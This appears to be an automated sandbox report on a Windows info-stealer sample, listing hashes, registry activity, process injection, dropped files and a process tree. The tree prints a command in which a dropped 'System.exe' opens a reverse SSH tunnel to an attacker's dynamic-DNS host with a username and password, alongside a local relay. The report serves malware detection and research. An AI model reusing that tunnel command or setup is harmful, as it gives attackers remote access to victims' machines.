8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907

Analysis

max time kernel
136s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
23/11/2022, 20:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
Size

620KB
MD5

4956b7219e873980802e0ba17ab4eb74
SHA1

99c2eede878353aa3aa1226baeca6acf29712e3f
SHA256

8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907
SHA512

3ddc959d5f6870d56298902a7e9cfe1d1e27a964ae28b0b3272df93dc045efd17d5db1fa8c472b68f36a74c68804222d8316065daa66d4025a2264dab286160d
SSDEEP

12288:A036q0TmZZfDzS7vJvb+1WA9T2MenWBgMw3V:A036q0CHfyvJToWO2vnWBM

Score

9^/10

spyware stealer upx

Malware Config

Signatures

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x0001000000022deb-148.dat	acprotect

Executes dropped EXE 3 IoCs

pid	Process
1192	forbind.exe
4884	cssrs.exe
4180	System.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0001000000022deb-148.dat	upx

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	forbind.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 1 IoCs

pid	Process
4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4972 set thread context of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4044966213"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f07b36f38fffd801	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043e2eb2e51ccf149ab640c8bdb0d7906000000000200000000001066000000010000200000008add8f5a5996f87ef3e541e9a9f98789afd5c2f93571622ab213fb91ea9ee925000000000e80000000020000200000003067ebb25e61c780eda30459da38c3412ad55608d2643120948421d4331bf820200000006ea9e8db8a9ed07edf56f4e85a23e1c1a07d941a2d5569017f9a855784005594400000007304dcc42cb60ea73a667500c5122dbec02c8d1b22356fd1c2e0fb66bb985b74d83661625e805d137b57180ea1c8d93a434f9f41e6e95b2759dbc08c621d0063	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0ac44f38fffd801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376009615"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{1BE82379-6B83-11ED-A0EE-C65219BF0A09} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "4064967108"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30998415"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30998415"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043e2eb2e51ccf149ab640c8bdb0d790600000000020000000000106600000001000020000000deaa8ba7da0d254f6bba533efccabe123f22ecca570c8a54f015d4cc75deca0c000000000e800000000200002000000048ec2c8e53be6a1be4e1f5c284651539e15316d61713897161176388f5e728ab200000003ab7a71a0eb0367020e2895fa9c536006df8a2842782217998e680515ce17cd14000000096a06bc73a77c5b39b3989cadf9245392c67e6234b47cf367dded798289da01441975d704c51b271ec0c0550a595712720859d39c4817e287e7d3494127be0ac	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "4044966213"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30998415"	iexplore.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	forbind.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
4328	msedge.exe
4328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3140	msedge.exe
3140	msedge.exe
3140	msedge.exe
3140	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
452	iexplore.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
452	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
452	iexplore.exe
452	iexplore.exe
996	IEXPLORE.EXE
996	IEXPLORE.EXE
996	IEXPLORE.EXE
996	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 1192	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	80
PID 4972 wrote to memory of 1192	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	80
PID 4972 wrote to memory of 1192	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	80
PID 1192 wrote to memory of 4608	1192	forbind.exe	81
PID 1192 wrote to memory of 4608	1192	forbind.exe	81
PID 1192 wrote to memory of 4608	1192	forbind.exe	81
PID 4608 wrote to memory of 4884	4608	WScript.exe	82
PID 4608 wrote to memory of 4884	4608	WScript.exe	82
PID 4608 wrote to memory of 4884	4608	WScript.exe	82
PID 4608 wrote to memory of 4180	4608	WScript.exe	84
PID 4608 wrote to memory of 4180	4608	WScript.exe	84
PID 4608 wrote to memory of 4180	4608	WScript.exe	84
PID 1192 wrote to memory of 3328	1192	forbind.exe	86
PID 1192 wrote to memory of 3328	1192	forbind.exe	86
PID 3328 wrote to memory of 4324	3328	msedge.exe	87
PID 3328 wrote to memory of 4324	3328	msedge.exe	87
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 2368	3328	msedge.exe	92
PID 3328 wrote to memory of 4328	3328	msedge.exe	93
PID 3328 wrote to memory of 4328	3328	msedge.exe	93
PID 4972 wrote to memory of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94
PID 4972 wrote to memory of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94
PID 4972 wrote to memory of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94
PID 4972 wrote to memory of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94
PID 4972 wrote to memory of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94
PID 4972 wrote to memory of 452	4972	8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe	94

C:\Users\Admin\AppData\Local\Temp\8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe
"C:\Users\Admin\AppData\Local\Temp\8f7267942b615aff2cda7c73c1bee9985675c7851a1fdbe51b4af10d3bc09907.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Users\Admin\AppData\Local\Temp\forbind.exe
  "C:\Users\Admin\AppData\Local\Temp\forbind.exe" 0
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Win.Msi\alg.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Win.Msi\cssrs.exe
      "C:\Win.Msi\cssrs.exe" -d -t -l -e0.0.0.0 -i127.0.0.1 -p2103 -a
      4⤵
      Executes dropped EXE
      PID:4884
  - - C:\Win.Msi\System.exe
      "C:\Win.Msi\System.exe" -ssh -R 45954:127.0.0.1:2103 homme33vc.zapto.org -l homme33vc -pw 2n3055
      4⤵
      Executes dropped EXE
      PID:4180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://img84.imageshack.us/slideshow/webplayer.php?id=15237971.jpg
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcac1746f8,0x7ffcac174708,0x7ffcac174718
      4⤵
      PID:4324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
      4⤵
      PID:2368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2772 /prefetch:8
      4⤵
      PID:4264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
      4⤵
      PID:4112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
      4⤵
      PID:2312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4764 /prefetch:8
      4⤵
      PID:2616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:1
      4⤵
      PID:3392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:1
      4⤵
      PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,10872909756575598793,7768687669625808701,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5216 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3140
- C:\Program Files\Internet Explorer\iexplore.exe
  /scomma "C:\Users\Admin\AppData\Local\Temp\tmp.ini"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:452
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:452 CREDAT:17410 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:996

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
e32d02ce684c01ef3af05fae9066160e

SHA1
29c7a6e8ed553ac2765634265d1db041d6d422ec

SHA256
b00322d178a6cfc206458c26b26d6c80596073bb3283dcc3fc4e33a4b5f29d71

SHA512
e4e3175fb131095e4681ecb76d14dc74d059c0beafb6340965516c6d3d0538deb314b36a3f09df03b491edac84d5c0580e764fed1d8bca9abd4e65cb56167148

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
434B

MD5
2fbef02f103e0503a729b4be8baf877a

SHA1
0dd5e2bcc2f9a368766f9e8bbcab77ed33821c00

SHA256
2e79f2df2869d173b8b7ef5ac4e90dd9478765890314defa2f8f43cc75b6662c

SHA512
ba27ac9550a6f67cb41ed3924c1a8f8d84bc4705d210761028184c8c3317697d0200df4fa88d40158e17a69b2e58c34442e4ffa1ea7f51e9e8538f6053b4aa9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\forbind.exe

Filesize
269KB

MD5
ce3a92a2eebd9dda206d2ffca2be0981

SHA1
f4624de0edd1c14ec2d0810377e52273f595a4ad

SHA256
f1844efba38409811b5c02285513b86a0a3cead59b6427882b530a60c23d52ea

SHA512
31d84bf1bc0cbce9aa1ccc82eca040424fc8b8f0d012ef6578518480b02781be393c84d3e8878f6f4014e39036ff406cbfae6c7b1578bbef4e10ba1a550374ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\forbind.exe

Filesize
269KB

MD5
ce3a92a2eebd9dda206d2ffca2be0981

SHA1
f4624de0edd1c14ec2d0810377e52273f595a4ad

SHA256
f1844efba38409811b5c02285513b86a0a3cead59b6427882b530a60c23d52ea

SHA512
31d84bf1bc0cbce9aa1ccc82eca040424fc8b8f0d012ef6578518480b02781be393c84d3e8878f6f4014e39036ff406cbfae6c7b1578bbef4e10ba1a550374ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\sqlite3.dll

Filesize
171KB

MD5
744dcc4cbbfbb18fe3878c4e769ec48f

SHA1
c1f2c56ee2d91203a01d3465f185295477a1217d

SHA256
33eb31a2a576e663474a895ff0190316c64a93d9ce05a55df0d53f9beeb61163

SHA512
706630be2ca09e574a7794e32e515a0a3f993643d034647b8cb976c1e7045e87e30362757cc65fcdb95f4a4327f0dcda3edc82ba84e5ed9115870a037e13af21

Download Submit
C:\Win.Msi\DiskDoctor.lnk

Filesize
538B

MD5
ed3470ec82535b6b52f9fcc0f5ebd9b1

SHA1
d416033cdc7819aaf98df15ab8c49d117331ac29

SHA256
1ea8146b91c3d1e5ddbf70f2a3d739a3499d7298135b65a00011c581dc898494

SHA512
eed06113b4686d18a84b298cf34ca64ca4d69e163969f61bec7b323e709e7b895250aa9915381842ac7e510899d6c45e70bf5b35883a0d51be068ab607146a7d

Download Submit
C:\Win.Msi\System.exe

Filesize
323KB

MD5
f4bf5c28bed38e31c143abfb9bebb6d5

SHA1
015f3e7ce4ff406f712b4ee1c893edfaa9276259

SHA256
d79ffe88f41e98fdf29b6ee747519bb4bd546a572235dfdbd6962311455c6971

SHA512
72e6ed78e42d357447ada178956b9960784fd3cfc0268ede7d4a602e1f789585d90e5ef006070034a7a9b0f35afd39000eb7fa9f6c2d06f4bddce766b85bc935

Download Submit
C:\Win.Msi\System.exe

Filesize
323KB

MD5
f4bf5c28bed38e31c143abfb9bebb6d5

SHA1
015f3e7ce4ff406f712b4ee1c893edfaa9276259

SHA256
d79ffe88f41e98fdf29b6ee747519bb4bd546a572235dfdbd6962311455c6971

SHA512
72e6ed78e42d357447ada178956b9960784fd3cfc0268ede7d4a602e1f789585d90e5ef006070034a7a9b0f35afd39000eb7fa9f6c2d06f4bddce766b85bc935

Download Submit
C:\Win.Msi\alg.vbs

Filesize
1KB

MD5
057150f4719cb0919d9d717e37e5e6c6

SHA1
e69d242f8074528bc6899ef95f145e52c8ac7684

SHA256
29b6f773d3526ec2838b1ec317d937cd3035f3ef79d5752c1b57803d50bdbf63

SHA512
51d382c12c4949d5ecaf78220e9c106c13268c9704c89ededacba3fefd6d33f26a947425671897194f545dd3990f5c7dba8c9fda1afdbf4abe1dcf9e72d76595

Download Submit
C:\Win.Msi\cssrs.exe

Filesize
45KB

MD5
199a984c4027236c6650952650b8b917

SHA1
24a279ea7aacdf2fdfb6a419ae87e2ad59e416fe

SHA256
c13de5ba03c02ea1a44aa7fd7af2989b94669c9715ce0e1447a271417a58cfed

SHA512
